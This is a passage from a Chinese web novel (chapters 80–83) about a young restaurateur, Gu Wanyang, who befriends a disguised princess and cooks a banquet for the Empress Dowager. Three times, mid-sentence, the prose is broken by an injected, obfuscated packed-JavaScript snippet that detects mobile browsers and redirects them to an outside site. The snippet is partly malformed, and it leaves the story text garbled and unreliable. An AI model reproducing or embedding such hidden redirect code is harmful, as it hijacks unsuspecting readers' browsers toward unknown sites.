七小姐不理自家侍女，指着绿梅糕对顾宛央甜甜地笑道：“姐姐，我要买这个。” 顾宛央看了一眼那条长得看不到头的队伍，这小姑娘不知道排队吗，但面对如此娇憨又甜美的小姑娘，顾宛央还是温柔地笑道：“这位小姐，若要买绿梅糕，得在后面排队才行呢。” 80. 第 80 章 原以为这小姐会耍脾气，但令人意外的是，七小姐阻拦了欲上前与顾宛央理论的侍女，开开心心地说道：“走，我们去后面排队。” “七小姐，您千金之躯，怎么能跟这些人一起排队呢？”绿衣侍女说道。 “我愿意。”七小姐叉腰霸气地说道，然后转头又对顾宛央撒娇似说道：“姐姐，你这牛乳绿梅糕一定要很好吃哦，不然我会伤心的。” “放心，绝对会让小姐满意的。”顾宛央对这位七小姐印象好起来，虽然她应该是出身高贵的但却不嫌弃平民，也愿意遵守规则，长得又可爱，一看就是在充满宠爱的环境下长大的，对世间对世人充满了善意。 七小姐对顾宛央的话很满意，她转身就要去队伍后面排队，却被绿衣侍女拦了下来，说道：“七小姐，你在此坐着等候，奴婢去排队。” “不用，我自己去排队，我还没排过队呢。”七小姐摆手拒绝。 “七小姐，若是主母知晓小姐跟这些人一起排队，奴婢怕是要吃板子。”绿衣侍女可怜兮兮地卖惨。 七小姐看了看排的很长的队伍，又看了看面前的两个侍女，泄气地挥了挥手说道：“行吧，你们去排队吧，我在此地等候。” 绿衣侍女见七小姐同意了，赶紧吩咐紫衣侍女：“你在这里陪着七小姐，我去排队。” “是。”紫衣侍女应道。 顾宛央见七小姐往旁边挪了挪，乖乖等待的样子，心生怜爱，忍不住拿了一个自带的凳子对她说道：“七小姐是吧，这个凳子你先拿去坐吧。” 七小姐见到凳子，一双秀眉扬了起来，开心地说道：“呀，谢谢姐姐，我正好走的脚都酸了呢。” 紫衣侍女话非常少，但眼力见还是够的，忙从顾宛央手中接过板凳，扶着七小姐坐了下来。 七小姐乖巧地坐在那里，双手托腮看着排队的队伍一点一点地往前挪，顾宛央看她坐在那里就好似个瓷娃娃一般，忍不住拿出自己熬的酸梅汤，倒了一杯递过去说道：“七小姐，今日天热，喝杯酸梅汤解解渴。” “酸梅汤？太好了，我正好渴了。”七小姐欲接过杯子。 “七小姐，不可。”紫衣侍女伸手阻拦顾宛央。 “紫环，不得无礼！”七小姐秀眉一皱，站了起来。 顾宛央眼睁睁地看着一个娇憨可爱的小姑娘，瞬间变得气场强大起来，这又让顾宛央莫名有种熟悉感。 紫衣侍女身子一震，忙往后一退，低头说道：“七小姐教训的是。” “姐姐莫怪，母亲吩咐她们要保护好我，她们也是职责所在。”七小姐转头对顾宛央笑着说道。 这有什么好责怪的，确实出门在外小心为妙，顾宛央客气地说道：“无妨，我的随心酒楼就开在京都府的旁边。” 七小姐知道顾宛央亮明身份是为了让她们放心，笑着接茬道：“嗯，我知道了，改天有空去捧场。” “紫环姑娘，我瞧着你也在冒汗了，不如这杯酸梅汤你先喝，我再给七小姐倒一杯。”顾宛央贴心地将手上的酸梅汤递了过去。 紫环虽不善言辞但也知道顾宛央此举是为了她着想，让她先替七小姐尝过，以免失职，她感激地接过顾宛央手上的杯子喝了一口，只这一口入喉，紫环就感觉浑身舒畅，酸酸甜甜的口感让人欲罢不能，她忍不住咕嘟咕嘟将剩下的酸梅汤一口气喝完。 七小姐在一旁看得直流口水，这本来是我的！ “真好喝。”紫环忍不住赞叹道。 “七小姐，这杯给你。”顾宛央笑眯眯地又倒了一杯，递给七小姐。 紫环也不再阻拦，眼馋地看着七小姐接过了杯子，小小地抿了一口。 只见七小姐抿了那一口酸梅汤后，眼睛亮了起来，于是又喝了一大口，此时已是晌午，日头越来越高，气温也到了顶峰，这时候来一口酸甜可口的酸梅汤，让人无比爽快。 “姐姐，真好喝呀。”七小姐喝下两口，还不忘礼貌地夸赞。 顾宛央看着七小姐长长的睫毛低垂着，专注地喝着酸梅汤，虽然很渴，但吃相还是那么的优雅。顾宛央的脑海里不由地浮现出李瑾修的身影，他也是即使再饿再渴吃相也都优雅的。 “咦，顾老板，你这酸梅汤怎么卖的？”排在前头的人，看见她们在喝酸梅汤，不由地开口问道。 顾宛央转头一看，说话的人很眼熟，应该是经常来随心酒楼吃饭的客人，她笑答：“抱歉，这是我们自己带着喝的，没有多少，所以卖不了。” “哦，那太可惜了，我正口渴呢，一会买了绿梅糕得去买些香饮子去。”说话的人遗憾地说道。 “姐姐姓顾吗？”七小姐喝完酸梅汤后神清气爽，坐在小板凳上问道。 “对。” “随心酒楼是姐姐自己开的？” “是呀。” “姐姐真厉害。” 两人你一言我一语地闲聊着，突然顾宛央发现了一个问题，小摊上的绿梅糕已经不多了，但那个绿衣侍女还排的远远的，明显等排到她就卖完了。 果然，随着最后一块绿梅糕卖了出去，张玉娘抱歉地对后面排队的人说道：“各位抱歉啊，绿梅糕售罄了，大家别排队了。” “啊！”七小姐从小板凳上弹了起来，往小摊上张望了几眼，发现果然没了，再看看给自己排队的侍女，还在老远呢，顿时一张小脸就垮了下来。 没买到绿梅糕的人虽然遗憾但也没办法，只能一哄而散，绿衣侍女急急地跑过来说道：“七小姐，卖完了。” 顾宛央正等着七小姐抱怨几句呢，没想到她迅速从神情落寞又转为神采飞扬，说道：“所幸喝到了顾姐姐的酸梅汤，那些买到绿梅糕的人可都没喝到呢。” 顾宛央一听这话，不由噗嗤一声笑了出来，这小姑娘太可爱了，居然还能这样自我安慰，情绪简直太稳定了。 “绿裳，快给我银子，我要给顾姐姐付酸梅汤的钱。”七小姐说道。 顾宛央忙道：“不用不用，酸梅汤是我们自己带来喝的，不用给钱。” “那行，顾姐姐，我先去别的地方逛逛，等明日，哦不，或者后日，或者过几日，我也不知道什么时候能出来，等我能出来的时候，我肯定去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136333|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的随心酒楼用膳。”七小姐有些苦恼的说道，争取明日就能溜出来。 “好，那我恭候七小姐大驾。”顾宛央礼貌地答道，虽然不知道这小姑娘说的是不是真的，但她还是真诚地回答。 看着七小姐带着两个侍女远去的背影，顾宛央回过身招呼着陈家二老和小桃玉娘一起，打开带来的午饭，准备开始野餐了。 吃完午饭后顾宛央带着几人一起逛了集市，的确比县城里的祈福灯会热闹许多，人也多了很多，不仅白天有集市，晚上还有花灯会，但顾宛央并不想呆到晚上，趁着天还没黑的时候，坐上雇来的马车返回了随心酒楼。 花朝节的几日后，顾宛央都把七小姐抛到脑后去了，没想到这一天她居然还真的来到随心酒楼了。 “顾姐姐。”七小姐的声音清脆悦耳。 随心酒楼刚刚开门，顾宛央便听到了熟悉的声音，她转头就看见七小姐带着绿裳和紫环两个侍女，站在了酒楼门口。 “七小姐这是踩着点来的啊，快请进来。”顾宛央 七小姐一身月白色广袖襦裙，外罩一件藕荷色褙子，衬着玉白的小脸更像瓷娃娃了。她踏进门来，笑着说道：“听说顾姐姐的随心酒楼每每都是客满，若是晚来一会，又得像花朝节那天似的排长队了。” “顾老板，麻烦带我们去二楼包厢。”绿裳给顾宛央行了一礼，客气地说道。 顾宛央面露难色，说道：“这二楼包厢得需会员才能用。” 顾宛央确定以前未见过七小姐，所以她肯定不是会员。 “好说，我们现在就办一张。”绿裳拿出银票说道。 “看来七小姐是打听过随心酒楼的规矩了，只是除了这一千两的入会费，还需承诺要办三件事情。”顾宛央见银票面额是一千两，心中明白她们应该是做过功课了，那就好办了。 “没问题，顾姐姐，你要我做什么？尽管说。”七小姐豪爽地说道。 “顾老板，你需要办的事情不会是很为难的吧？”绿裳倒是谨慎，跟顾宛央确认。 “放心，杀人放火违反律法的事情，绝对不会有的，肯定是对会员而言不难办但对我来说很难办的事情，才会来麻烦你们，一定不会强人所难的。”顾宛央笑着说道，其实她只是为了提高办会员的门槛，才设置的这个条件，这一个多月来，她从来都没想起来过这件事，更别提她去找会员办什么事情了，她最好是一辈子都别用到这个条件，顺顺利利没有坎坷挫折多好。 “放心吧，顾姐姐，你有事来找我就好。”七小姐毫不在意地说道。 “好，先记在账上，等有需要了再去找七小姐。”顾宛央笑着说道，打开登记会员的账簿，把银票接过来说道。 绿裳留下了联系地址，但却未告知七小姐真名，只将自己的名字告诉了顾宛央，说是只要到这个地址报出绿裳的名字，便可找到七小姐。 顾宛央心中有些好奇，看这地址也只是普通宅子，名字也不肯留，这又是哪家达官贵人家的小姐，偷偷跑出来玩耍呢，但她只是做生意的并不想多事，能不能找到人她也都无所谓。 81. 第 81 章 七小姐拿着精致的会员卡，开心不已，小心翼翼地揣进随身带的荷包中。 今日的招牌菜是小炒黄牛肉，七小姐毫不犹豫小手一挥就点上了，顾宛央提醒道：“七小姐，这道菜偏辣，不知你能不能吃辣？需不需减辣？” “这道菜是辣的？”七小姐两眼放光，忙不迭地说道：“不用减不用减，我能食辣，喜欢。” 顾宛央点点头，让伙计带她们上了二楼包厢，自己进了后厨。 七小姐今天是第一位客人，后厨还在做准备工作，顾宛央吩咐帮厨先将小炒黄牛肉的配菜先备好。 牛肉虽价贵且不多见，但毕竟是在京都，只要肯花钱就能供得上货，今日里供货商送来的是上好的新鲜牛里脊肉，是做小炒最好的食材，顾宛央将牛里脊肉切下一块来，逆着纹路切成薄片。 等她切好牛肉腌制了一会后，配菜也已经准备好，灶火也烧起来了，人手多就是好，顾宛央只需掌勺即可。 起锅烧热油，顾宛央将姜蒜末和泡椒碎小米椒放进去爆香，再加一勺豆瓣酱进去炒出香味，接着将腌制好的牛肉倒入锅中，快速划散翻炒，大火热油之下，牛肉很快就变了颜色。加入酱油盐和些许糖后继续翻炒，最后将芹菜段扔进去炒断生，就可以出锅了。 七小姐看着这盘香气扑鼻的小炒黄牛肉，顿时眼睛就挪不开了，翠绿的芹菜和火红的小米椒点缀在牛肉中间，色泽亮丽油光浸润，光看颜色就已经垂涎欲滴了。 扑鼻的香辣味已经让七小姐迫不及待地拿起了筷子，将一大片牛肉吃进嘴里后，鲜辣的口感使得她吐了吐小舌头，确实挺辣的，不过真好吃啊。 鲜嫩的牛肉加上脆爽的芹菜，不仅仅只有辣味，还有泡椒的味道混合在一起，更多的是鲜美。 “绿裳、紫环你们坐下来一起吃。”七小姐说道。 “七小姐，这不合规矩。”绿裳和紫环对视一眼，说道。 “什么规矩不规矩，这又不是在......”七小姐忙捂住嘴，调整了一下才又说道：“快坐下，一起吃，这道小炒黄牛肉真好吃，你们也尝尝。” “是，多谢七小姐。”两人见七小姐坚持，她们也都被这道菜的香气所吸引，也就不再拒绝，但两人还是只坐了凳子的一个角，随时保持着恭敬的姿态。 两人尝了一口小炒黄牛肉，绿裳不禁叹道：“牛肉嫩滑但筋道有嚼劲，辣味适中，最主要的是鲜美，说起来牛肉也经常吃，只是好像都没有这道菜好吃。” “嗯，对。”紫环埋头苦吃，只抬起头应了一句。 七小姐见紫环这样，不由地笑了起来，绿裳也轻轻点了点紫环的脑袋，说道：“木鱼脑袋，要不是你身手好，怎么可能留在小姐身边。” 紫环也不辩驳，只是笑了笑接着吃。 “七小姐，两位姑娘，吃得如何？”顾宛央端了一个白瓷盘子走了进来。 “顾姐姐，特别好吃，你做的小炒黄牛肉是我吃过的最好吃的，为何你炒出来的牛肉这么嫩呢。”七小姐心情愉悦地说道。 “食材是上好的牛里脊，这一块牛肉的部分本身就相当的嫩，而且在切肉的时候逆着它的纹理切出来，会让肉更加嫩。”顾宛央解释道。 七小姐点头，不过她也不在意是怎么做的，只要好吃就行。 “咦，顾姐姐你手里端的是什么？”七小姐一眼就看见顾宛央手中的盘子，好奇地问道。 顾宛央笑盈盈地走了过去，将手上的白瓷盘子轻轻放在桌上说道：“七小姐，这是牛乳绿梅糕，前几日你没吃到，今日也巧，正好我又做了一些，你们尝尝。” “真的吗，那我真是太有口福了。”七小姐眼睛都亮了，这个牛乳绿梅糕让她想了好几天呢，没想到今日能吃上了。 “嗯，你尝尝，吃完辣的再吃点甜的，会更好吃。”顾宛央说道，她今天把那株绿梅上的花都薅下来做了绿梅糕，没想到七小姐就来了。 七小姐轻轻拿起一块小巧精致的绿梅糕，咬了一小口，牛乳味浓郁，口感软糯香甜，再加上绿梅独有的香气，比其他的糕点不知道好吃了多少倍。 “顾姐姐，今日绿梅糕是否有多的，我想买些回去给家里人吃。”七小姐问道。 顾宛央本是秉承着让绿梅枯萎还不如趁它盛开的时候做成美食，所以将树上剩下的花朵都摘了做绿梅糕，统共也没有多少个，本打算自己吃的，但看着七小姐期待的眼神，她不由自主地点了点头，该死的这个眼神为何也这么熟悉！ 最后，顾宛央目送着提了一食盒绿梅糕的七小姐，欢快地走出了酒楼。 天气渐渐暖和起来，顾宛央还是照旧炒完菜后总是会坐在大堂，听听食客们的闲聊，这也成为了她主要的消息来源。 北方的战事越来越激烈，不过传回来的倒也都是好消息，每隔一段时日，总是会传回来收复了几座城，顾宛央的心情也随着食客们的消息而起伏跌宕，只是，依旧不见李瑾修的人影，她有些怀疑他并未生活在京都。 随心酒楼的名气越来越大，会员卡却是被顾宛央死死地控制着不让多办，饥饿营销的手段，让随心酒楼的地位已然超越了其他有名气的大酒楼，众人皆以能在随心酒楼二楼包厢宴请客人为傲。 日子就这样过着，转眼立了夏，随心酒楼突然来了一位宫里的女官，是尚食局的谭司膳。 “你就是随心酒楼的老板顾宛央吗？”谭司膳见到了顾宛央，有些诧异，反复问了几遍。 “正是。”顾宛央也反复回答了几遍。 “赫赫有名的随心酒楼，没想到老板是位这么年轻的姑娘。”谭司膳说道。 “让司膳大人见笑了。”顾宛央谦虚地说道。 “诶，怎么会见笑，这是让人佩服的事情。”谭司膳摆摆手说道。 见谭司膳一直跟自己聊家常，不入正题，顾宛央委婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140586|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地问道：“谭司膳来敝酒楼，是有何吩咐？” 谭司膳刚刚震惊于那么大名气的酒楼老板居然是个年轻女子，所以才多问了几句，被顾宛央一提醒，这才想起来正事，她开口说道：“本月十五是太后的寿诞，想请顾老板进宫为太后做寿宴。” 顾宛央一听，进宫？给太后做寿宴？她有一种搞大了的感觉，宫里不缺御厨，怎么地就要到外面来请大厨做寿宴呢？ 似是看出了顾宛央的不解，谭司膳又开口说道：“皇上本欲为太后做寿，但太后仁善，想到前方战场上还有那么多将士在浴血厮杀，她便不欲大办，只想在宫中办一桌斋宴，与至亲之人一起吃一顿斋饭，也是为了给将士们祈福。” 嗯，太后是个好太后，只是她想吃斋就让御厨做斋饭就行了呗，为何还要让自己去做，顾宛央不明白。 “皇上以仁孝治天下，太后的想法皇上不好反对，但又觉得这样办太过草率愧对太后，乐平公主见皇上闷闷不乐，于是便谏言请京都最有名气的几家酒楼大厨，进宫为太后一同做一桌斋宴。”谭司膳说道。 哦，原来是这样，想来御厨房做的饭菜吃的太多了，想要换换口味吧，这也是能理解的。 “这样一来，既能满足太后只吃斋饭的要求，也能让太后尝尝不同的菜品味道，还能让皇上花费心思尽了孝，没想到这个想法也得到了太后的欢喜，于是皇上便命我等来邀请酒楼的大厨。”谭司膳说道。 “宛央非常荣幸能为太后做斋宴，司膳大人放心，宛央当天一定会去。”顾宛央应了下来，皇帝都发话了，她能不去嘛！ “那可真是太好，顾老板放心，若是能的太后欢喜，宫中赏赐肯定是少不了的。”谭司膳笑着说道。 “多谢司膳大人。”顾宛央行礼回道。 “那我先回去复命了。”谭司膳见事宜办妥，起身便要离开。 “司膳大人请稍候，今日宛央正巧做了粽子，可否请大人品鉴。”顾宛央开口说道。 “哦？顾老板亲手做的？”谭司膳有了兴趣，她虽没来随心酒楼用过餐，但酒楼名气却是大得很，若是能吃到顾宛央做的粽子，也能评鉴一下，是否浪得虚名。 张玉娘很有眼色的已经把各种口味的粽子都装了几个到食盒中，顾宛央让张玉娘递给谭司膳身边的侍女，说道：“正是，端午将至，宛央做了一些给自己和家里人吃的，不对外出售的。” 一听是私房粽子，谭司膳更高兴了，她挥了挥手让侍女接下食盒，笑盈盈地说道：“那就多谢顾老板了。” “哪里，宛央一介布艺不识宫中礼数，太后寿诞那日还请司膳大人多多关照。”顾宛央也笑着说道。 “那是自然的，我先告辞了。”谭司膳转身往外走去，没走几步，她又停了下来，转身看着顾宛央的眼睛随意说了一句，“太后喜辣。” 顾宛央看着谭司膳的背影，又浅浅地施了一礼。 82. 第 82 章 四月十五，太后寿诞，皇宫内寿康宫比平日忙碌一些，因为今日太后要在宫中布一桌斋宴，皇上皇后以及皇子公主们都要来给太后贺寿。 顾宛央已经将今日要做的菜品报了上去，应邀的酒楼大厨都需将自己所做的菜品报给尚食局，然后等待上头审核通过。 顾宛央报上去的是酸辣白菜和什锦素面，太后喜辣，那就做个酸辣白菜，面条是过寿必备的，只不过这是斋宴，所以做个什锦素面是最合适不过了，若是太后想吃辣的，顾宛央打算再做一碗油辣酱，可以自行加入面中，只是不知是否跟别的酒楼重复菜品了没。 还好宫中传来回复，她可以做这一道菜和一道主食，顾宛央带着张玉娘便进了宫。 小桃也想跟着去，但顾宛央还是带了张玉娘，玉娘年纪稍长处事干练周到，入宫不是小事，须得万事小心谨慎才是。 张玉娘跟在顾宛央后面有些紧张，但见顾宛央面色如常、镇定自若，也稍微放轻松了些，反正只要埋头干好活就行了，她们也见不着皇帝太后的。 宫人带着她们进了寿康宫的御厨房，顾宛央不由感叹，果然是皇室御厨房，空间大就不必说了，各式工具调料一应俱全，怪不得谭司膳说只需带自己特别需要用的东西即可，其他日常的工具调料都不必带。 谭司膳已经在御厨房等候她们，顾宛央也见到了其他几家酒楼的大厨们，谭司膳安排他们到了各自的小厨房，吩咐可以开始准备了。 宫中规矩多，顾宛央和其他大厨们也不敢互相打招呼，只是按照谭司膳的吩咐去做事情。 做素食虽然做法会比荤食简单，但要想做出好吃的素食，那却是最难的。好在宫中的食材是最好的，这也是最重要的。 眼前的白菜是黄牙白菜，外面的白菜叶子已经被扒掉了很多，只留下最嫩的那部分白菜芯子。 顾宛央将白菜梗和白菜叶子分开，把白菜梗切成细长条，把白菜叶子上的水充分甩干，白菜炒制时容易出水，若是不甩干水分那就会出水更多。 张玉娘负责准备配菜和烧火，她做起事情来非常麻利，这也是顾宛央能放心把她带来的原因之一。 灶火已经烧了起来，顾宛央起锅烧热油，将姜蒜末干红辣椒花椒放入油中爆香，等到香气浓郁之后，用漏勺将油锅中的配料渣捞出弃之不用，再将切好的白菜梗倒入锅中，迅速翻炒。 “玉娘，加大灶火，烧到最旺。”顾宛央吩咐道。 大火爆炒能让白菜梗迅速变熟，不会有过多的汁水渗出，顾宛央快速加入盐、醋和些许白糖调味，再将白菜叶子倒入进去一起翻炒，最后加入红色小米椒圈，翻炒几下后立即盛出锅。 嫩黄色的叶子和白色的梗加上红色的小米椒，颜色煞是好看，由于顾宛央大火爆炒，也没有汁水渗出，整道菜呈现出干香酸辣的气味。 御厨房的宫人迅速端了出去，顾宛央知道这道菜马上就会端到太后的桌上，不用担心会变凉。 接下来，顾宛央休息了一会，直到宫人通知她可以做主食了，她这才开始准备。 什锦素面主要是用各种素菜为材料做成的，香菇、黑木耳、油面筋、胡萝卜、青笋这几道食材各种香味都有，做出来是五颜六色的卖相，又香又鲜又好看。 食材的配备顾宛央交给了张玉娘，根据食材的不同各自切丝切片，顾宛央负责将面条做好。 这个年代全是靠手工做的面条，从面粉和面开始，再到一根根细长的面条，顾宛央仔细地做好每一个步骤，力求这碗长寿面做到自己最高的水平，抛开太后贵为皇室最尊贵的女人不提，这也是一位老人的生辰，作为一个厨师来说，尽心做好每一道菜这是行业的准则。 面条做好了，张玉娘负责准备的配菜也都好了，顾宛央开始炒制什锦浇头，起锅把油烧热，将姜片先放入锅中爆出香味，接着把焯过水的食材混合着倒入锅中，加入盐酱油和些许白糖调味，再倒入水淀粉勾芡，锅中的食材融合在一起，各种香气随之也飘散出来。 满满一大盘浇头炒好后，顾宛央开始煮面条，她这次做的面条名副其实的是长寿面，一碗只有一根面条，这根面条长度非常的长，长到一根就能装一碗，寓意着长寿。 张玉娘第一次见到如此长的面条，不由地面露惊讶，她紧张地看着顾宛央煮面条，担心别煮断了。 “放心吧，不会断的。”顾宛央似是看出了张玉娘的担心，笑着安慰道，她揉出来的面条筋道弹牙，不会轻易断的。 果然，煮了那么多碗面条，没有一根是断的，张玉娘才放下心来。 顾宛央将什锦浇头铺到面条上，再将自己在家里做的油辣酱拿了出来，在每碗面条旁边放了个小碟子，将油辣酱倒了进去，谁需要的话可以自己加。 做完这些，宫人们鱼贯而入地将面条都端了出去，顾宛央终于松了一口气，完事了，希望他们吃的满意。 顾宛央多做了两碗什锦面条，再留了一些酸辣白菜，她跟张玉娘一起吃了起来。 “宛央，这素什锦居然如此鲜美，我一直都以为素菜不如荤菜那么鲜呢，没想到居然并不差，而且是不同的鲜味。”张玉娘尝了一口素什锦，发自内心地说道。 “别忘了菇类是最为鲜美的，再加上油面筋的豆香味，还有胡萝卜的清甜味，还有青笋特有的香气，这些食材混合在一起，自然形成了色香味俱全的什锦了。”顾宛央笑着解释道，人人都觉得荤菜好吃，但岂不知素菜也是各有鲜美，只要合理地加以融合和搭配，那味道和口感并不比荤菜差。 “这酸辣白菜也很好吃，酸酸辣辣又爽脆，很是开胃。”张玉娘又尝了一口酸辣白菜说道。 “天天吃大鱼大肉也腻味的很，不如偶尔来上一道开胃小菜，说不定大家都很喜欢呢。”顾宛央说道，皇室不缺荤腥，所以她想出来做一道这样的菜，希望他们能解腻开胃。 两人刚刚吃完，谭司膳便来请顾宛央去见太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148379|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后，张玉娘紧张地拉住顾宛央，顾宛央拍了拍她的手，小声安慰：“无妨，我去去就来，估计是太后要赏赐我了，你在这里等我。” 顾宛央跟着谭司膳往外面走了出去，寿康宫很大，顾宛央只记得走了不少时间，到了寿康宫的正殿。 等宫人们进去通传后，谭司膳这才将顾宛央带了进去。 顾宛央跟着谭司膳行了礼，就听得一个上了年纪但又很慈祥的声音说道：“起身吧，你就是顾老板？” “这是太后娘娘，快回话。”谭司膳在顾宛央耳边吩咐。 “是，太后娘娘。”顾宛央站了起来，恭敬地低着头回复。 “抬起头来，我瞧瞧。”太后声音和蔼，并没有上位者的傲慢，让人感觉就是一个慈祥的老人。 顾宛央从善如流，抬头看向声音发出来的位置。 这一抬头不要紧，顾宛央用余光扫到了一个熟悉的身影，是七小姐，她正端坐在太后右边的位置，看着她笑呢。 顾宛央内心惊讶不已，但面上不显，毕竟眼前是太后在问话，她只是面露微笑恭恭敬敬地看着太后。 “嗯，乐平说的还真是没错，小小年纪却行事干练，厨艺非凡，举手投足还如此大气优雅，难得。”太后仔细端详了一番，说道。 “祖母，上回我带回来的牛乳绿梅糕也是顾老板做的呢。”七小姐接口说道，眼神里尽是欣赏。 “哦？原来也是她做的呢。”太后慈爱地看着七小姐笑。 “乐平，你现在胆子越发大了，过不了几日就要偷偷溜出去玩。”乐平旁边坐着一位端庄高贵头戴凤冠的女人，对着七小姐说道。 原来七小姐就是乐平公主，顾宛央回过神来，想到她肯定是达官贵人家的小姐，但没想到是公主。 “母后，我拢共才出去玩过几回呀，三哥成天在外面，您也不管他。”乐平公主撅起了小嘴，撒着娇表达不满。 “你三哥是男子，你跟他比做什么。”皇后叹气道，看到自己唯一小女儿撒娇，她的火气一下就没了。 “好了好了，不管怎么说，乐平此次谏言让母后能尝到这么多美味，也算是有功，皇后，你也别太责怪她了。”皇帝出来打圆场，看样子他对乐平公主很是疼爱。 “皇上，你就宠她吧。”皇后无奈地摇头笑道。 太后乐呵呵地看着儿子儿媳和孙女斗嘴，一点没有想掺和的意思，见他们不争了，才又开口问顾宛央：“顾老板，你的酒楼是自己一个人开的？” “是的，太后娘娘。”顾宛央答道。 “年纪轻轻不容易啊。”太后眼中有赞许之色，复又问道：“这是你开的第一家酒楼？” “不是，去年民女在齐中县与人合开过一家随心小食肆，京都这家随心酒楼是我开的第二家。”顾宛央如实地答道。 皇后原本端起来喝茶的手，在听到这句话的时候停了下来，一双漂亮的凤眼带着些许好奇看向了顾宛央。 83. 第 83 章 太后点点头，说道：“不错，若不是乐平推荐，我还吃不到如此美味，今日你做的酸辣白菜和什锦素面深得本宫欢喜，你想要些什么赏赐？” 顾宛央看了看乐平公主，只见她对着自己歪着头笑，原来是她推荐自己来的，顾宛央不由地回了一个笑容给她，然后认真地想了想说道：“多谢太后，求太后为小店的店名赐字。” “哦？就这么简单？”太后微微诧异，这孩子居然不要钱财，只要她的字。 “不简单，若能得太后墨宝，这无比珍贵，民女感激不尽。”顾宛央跪了下来，行大礼磕头道。 “哈哈哈哈。”太后被顾宛央一番话说的大悦。 而顾宛央说的确实是实情，若店名是太后的墨宝，那岂不是个活招牌，这比要其他钱财的赏赐贵多了。 “就依你，本宫给你的酒楼赐字。”太后心情大好。 “多谢太后娘娘。”顾宛央拜谢。 原以为会过些日子太后再赐字，没想到今日太后心情大好，当即便要宫人磨墨，皇上皇后极力劝阻都没用，还是乐平公主说了句，既然祖母想做这件事，那就让她做嘛，众人这才作罢。 等宫人做完准备工作，皇后扶着太后来到书桌前坐下，开始运笔写字。 在太后写字的时间，皇后随意地与顾宛央聊起了家常：“顾老板，你在齐中县与谁合伙开的食肆？” “我的一个朋友。”顾宛央看向皇后答道，心中暗叹乐平公主跟皇后长得真像。 “哦？那为何不开了呢。”皇后问道。 “我跟朋友有些误会，他离开了。”顾宛央垂眸说道，在皇宫内还是说实话实说的好。 “那他离开了，你也可以继续开呀，为何到京都来了。”皇后问道。 “一来京都机会更大，攒了些钱想有更大的发展，二来朋友不告而别，我们合伙经营的小食肆年底的分红还没给他，据他平时言行之间流露出应是京都人士，也是想来京都看看是不是能找到他。”顾宛央说道。 皇后一听，脱口而出：“他居然不告而别，没告诉你他去哪了，去做什么了吗？” 顾宛央有些诧异地抬起头，这皇后好八卦啊，不过她不敢表露神色，只是点头：“是，只留了一张他走了的纸条，什么都没说。” 皇后轻咳一声，调整了一下，又问：“那你是个守信的好孩子，你跟那位朋友的关系也不错吧？” 顾宛央想了想，直言道：“是，我们是很好的朋友。” “哦？有多好？”皇后一双漂亮的凤眼中满是好奇。 顾宛央一时语塞，这个问题怎么回答！ 好在此时太后已经写完了字，乐呵呵地发声：“写好了，拿去给顾老板瞧瞧。” 顾宛央像抓了根救命稻草，忙转向展示太后写的字的宫人，皇后见状也不好再问下去了。 “多谢太后娘娘。”顾宛央真心跪拜道谢，有了太后赐字，她家酒楼将更会受到达官贵人青睐。 太后心情愉悦地摆摆手，说道：“好了，下去吧。” 顾宛央捧着太后赐的字，恭敬地退了出来。 张玉娘在御厨房焦急地等待着，一见到顾宛央出现，忙拉着她左右上下看了一遍，问道：“没事吧？” “没事，太后给我们酒楼赐字了。”顾宛央开心地给她看手上捧着的字。 张玉娘只要顾宛央没事就好，她抚了抚胸口说道：“快担心死我了，这个字有什么用吗？” “回去做成店牌挂出去，这可是太后赐字啊，多有光彩！”顾宛央笑道。 “嗯，行，我们赶紧回去吧，我总觉得在这里很不安全。”张玉娘点头说道。 顾宛央噗嗤一声笑了出来，真是个实诚人，她说道：“好，我们走。” 顾宛央和张玉娘回到酒楼后，顾宛央兴奋地当即就去找人做了招牌，张玉娘则是被小桃围着问东问西，酒楼里一片热闹。 太后御赐的招牌挂上后，果然如顾宛央所料，随心酒楼的生意更上了一个台阶，现在她不仅仅是商界翘楚，更是官府之人想要结交的对象，毕竟能与太后见面被赐字的人少之又少。 随着时间的推移，北境的战事也一直捷报频传，直到完全将北真打败收复失地。 消息传开来的那天，随心酒楼的食客们，个个兴高采烈神情激昂，讨论着小战神东靖王又立了大功。 顾宛央酒楼里的酒都快被他们喝光了，连平时一定要坐二楼包厢的那些会员食客，今天也都不上去坐，非要挤在大堂与大家一起同乐，大堂哪里还能坐得下包厢的食客，顾宛央索性喊伙计把备用的圆台面翻出来，在随心酒楼门前的空地上摆了好些桌子，再把一排大门都拆了下来，这样大堂和外面都打通连成一片，食客们一边欢天喜地畅饮一边大谈国事军事，不亦乐乎。 